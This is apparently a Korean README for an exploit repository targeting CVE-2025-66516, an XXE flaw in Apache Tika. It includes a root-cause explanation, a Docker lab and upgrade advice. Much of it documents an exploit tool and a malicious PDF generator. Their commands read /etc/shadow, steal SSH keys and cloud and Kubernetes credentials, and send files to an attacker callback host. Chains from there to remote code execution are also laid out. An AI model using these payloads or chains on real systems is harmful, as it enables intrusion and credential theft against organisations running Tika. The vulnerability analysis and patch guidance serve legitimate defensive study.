
CVE-2025-66516 작동하는 익스플로잇, 스캐너, 설명.
CVE-2025-66516은 Apache Tika에서 발견된 치명적인 XML External Entity(XXE) 주입 취약점으로, CVSS 점수 10.0(최대 심각도)입니다. 이 취약점은 원격 공격자가 악성 XFA(XML Forms Architecture) 콘텐츠가 포함된 특수 제작된 PDF 문서를 업로드하여 임의의 파일을 읽거나, 서버 측 요청 위조(SSRF)를 수행하고, 민감한 데이터를 유출할 수 있게 합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-66516 |
| CVSS 점수 | 10.0 (치명적) |
| 공개일 | 2025년 12월 4일 |
| 공급업체 | Apache Software Foundation |
| 영향받는 제품 | Apache Tika |
| 공격 벡터 | 네트워크 (원격) |
| 인증 | 필요 없음 |
| 구성 요소 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
중요: 이 CVE는 CVE-2025-54988을 대체합니다. CVE-2025-54988은 PDF 모듈만 취약하다고 잘못 식별했습니다. 실제 취약점은 tika-core에 있습니다.
이 취약점은 Apache Tika가 PDF 문서 내의 XFA(XML Forms Architecture) 데이터를 처리하는 방식에서 발생하는 XML External Entity(XXE) 주입 결함입니다.
문제점: Tika는 바탕이 되는 Java XML 파서(특히 StAX 파서)를 사용하여 XFA XML 콘텐츠를 읽습니다. 취약한 버전은 외부 엔티티 확인을 비활성화하도록 파서를 올바르게 구성하지 못했습니다. 파서가 SYSTEM "file:///etc/passwd"와 같은 외부 엔티티 요청을 만나면 이를 확인하고 파일 내용을 반환합니다.
위치: 이 버그는 tika-core의 XMLReaderUtils.getXMLInputFactory()에 있습니다.
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- 효과 없음
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER는 빈 결과를 반환하여 XXE를 차단하려는 의도였으나, 예상되는 InputStream 대신 String을 반환했습니다. JDK의 기본 StAX 파서는 이 잘못된 반환 유형을 조용히 무시하고 기본 동작(외부 엔티티 확인)으로 대체했습니다.
수정 사항은 팩토리 수준에서 DTD 및 외부 엔티티 지원을 명시적으로 비활성화합니다.
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
또한, 리졸버가 적절한 InputStream 유형을 반환하도록 변경되었습니다.
Java 생태계에는 여러 XML 파서 라이브러리가 있습니다. 애플리케이션은 클래스패스에서 먼저 발견되거나 구성된 파서를 사용합니다.
Woodstox란? Woodstox는 고성능 오픈 소스 StAX XML 파서로, Java 애플리케이션에 자주 번들로 제공됩니다.
보호를 제공하는 방법: Woodstox의 구현은 (우연이 아니라 설계상) XMLResolver 반환 유형을 올바르게 처리합니다. Woodstox가 IGNORING_STAX_ENTITY_RESOLVER로부터 문자열 반환 값을 받으면 이를 유효한 빈 콘텐츠로 처리하여 XXE를 효과적으로 차단합니다.
중요한 차이점:
tika-server-standard.jar는 Woodstox를 번들로 포함합니다 - 취약하지 않음tika-core + 파서 모듈 (임베디드 사용) - Woodstox를 번들로 포함하지 않음 - 취약함# 1. 랩 환경 시작
docker-compose up -d --build
# 2. 취약한 Tika (JDK StAX, 포트 9997) 테스트
python poc/exploit.py --url http://localhost:9997 --check
# 3. /etc/passwd 추출
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. 보호된 Tika (Woodstox, 포트 9998)와 비교
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # 랩 오케스트레이션
|-- vulnerable-tika/
| |-- Dockerfile # Woodstox가 포함된 Tika (보호됨)
| +-- Dockerfile.jdk-stax # Woodstox가 없는 Tika (취약함)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask 업로드 애플리케이션
| +-- templates/
|-- poc/
| |-- exploit.py # 자동화된 익스플로잇 도구
| +-- generate_payload.py # 악성 PDF 생성기
+-- README.md
| 서비스 | 포트 | 설명 |
|---|---|---|
| 웹 애플리케이션 | 8080 | 문서 업로드 프론트엔드 |
| Tika (Woodstox) | 9998 | 보호됨 - 취약하지 않음 |
| Tika (JDK StAX) | 9997 | 취약함 - Woodstox 없음 |
| 공격자 리스너 | 9999 | OOB 테스트용 HTTP 서버 |
docker-compose up -d --build
exploit.py)자동 페이로드 생성 및 데이터 추출을 통한 전체 체인 익스플로잇.
# 대상이 취약한지 확인
python poc/exploit.py --url http://target:9998 --check
# 로컬 파일 읽기
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS 메타데이터 탈취 (EC2 인스턴스)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes 시크릿
python poc/exploit.py --url http://target:9998 --k8s-secrets
# 내부 서비스로 SSRF
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# 추출된 데이터 저장
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)수동 테스트 또는 다른 도구와의 통합을 위한 악성 PDF 파일을 생성합니다.
# 특정 파일에 대한 페이로드 생성
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# SSRF 페이로드 생성
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# OOB 데이터 유출 페이로드 생성
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# 공격 모드 사전 설정 사용
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# 사용 가능한 공격 모드 목록
python poc/generate_payload.py --list-modes
사용 가능한 공격 모드:
file_read - 로컬 파일 읽기 (/etc/passwd, /etc/shadow 등)ssh_keys - SSH 개인 키 탈취aws_metadata - AWS EC2 메타데이터 및 IAM 자격 증명gcp_metadata - GCP 서비스 계정 토큰azure_metadata - Azure 관리 ID 토큰k8s_secrets - Kubernetes 서비스 계정 자격 증명webapp_configs - 일반적인 웹 애플리케이션 구성ssrf_internal - 내부 서비스 프로빙Woodstox 없이 Tika 2.9.2를 테스트 (임베디드 배포 시뮬레이션):
| 테스트 | 결과 |
|---|---|
| XFA 감지 | [통과] PDF가 XFA를 가진 것으로 인식됨 |
| XFA 파싱 | [통과] XFA 콘텐츠 추출됨 |
| XXE 파일 읽기 | [취약함] /etc/passwd 콘텐츠 유출됨 |
| XXE SSRF | [취약함] 외부 요청 전송됨 |
익스플로잇 증거:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Woodstox를 사용한 Tika 2.9.2 테스트 (표준 tika-server-standard.jar):
| 테스트 | 결과 |
|---|---|
| XFA 감지 | [통과] PDF가 XFA를 가진 것으로 인식됨 |
| XFA 파싱 | [통과] XFA 콘텐츠 추출됨 |
| XXE 파일 읽기 | [차단됨] 외부 엔티티 해결되지 않음 |
| XXE SSRF | [차단됨] 아웃바운드 연결 없음 |
출력에 빈 엔티티 표시:
<li fieldName="data">data: </li>
취약점은 실제이며 치명적입니다. 익스플로잇 가능 여부는 StAX 구현에 따라 다릅니다.
tika-server-standard.jar - 번들된 Woodstox가 XXE 차단XXE는 기본적으로 파일 읽기/SSRF 취약점이지 직접적인 RCE가 아닙니다. 그러나 여러 공격 경로를 가능하게 합니다.
| 공격 | 페이로드 예시 |
|---|---|
| 파일 읽기 | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| AWS 메타데이터 | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| 시나리오 | 공격 경로 |
|---|---|
| AWS EC2 | XXE -> SSRF to metadata -> IAM 자격 증명 -> AWS CLI RCE |
| Kubernetes | XXE -> 서비스 계정 토큰 읽기 -> kubectl exec |
| 내부 Jenkins | XXE -> SSRF to script console -> Groovy RCE |
| 데이터베이스 | XXE -> 구성 파일 읽기 -> 데이터베이스 접근 |
| SSH | XXE -> SSH 키 읽기 -> 원격 셸 접근 |
Apache Tika를 버전 3.2.2 이상으로 업그레이드
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
모든 Tika 구성 요소가 업데이트되었는지 확인 (tika-core 및 파서 모듈)
| 배포 유형 | 위험 수준 |
|---|---|
| tika-server-standard.jar | 낮음 - Woodstox가 완화 |
| 임베디드 Tika (라이브러리 사용) | 높음 - 취약할 가능성 높음 |
| Woodstox 없는 사용자 지정 | 높음 - 취약함 |
문제 1: 초기 익스플로잇이 작동하지 않음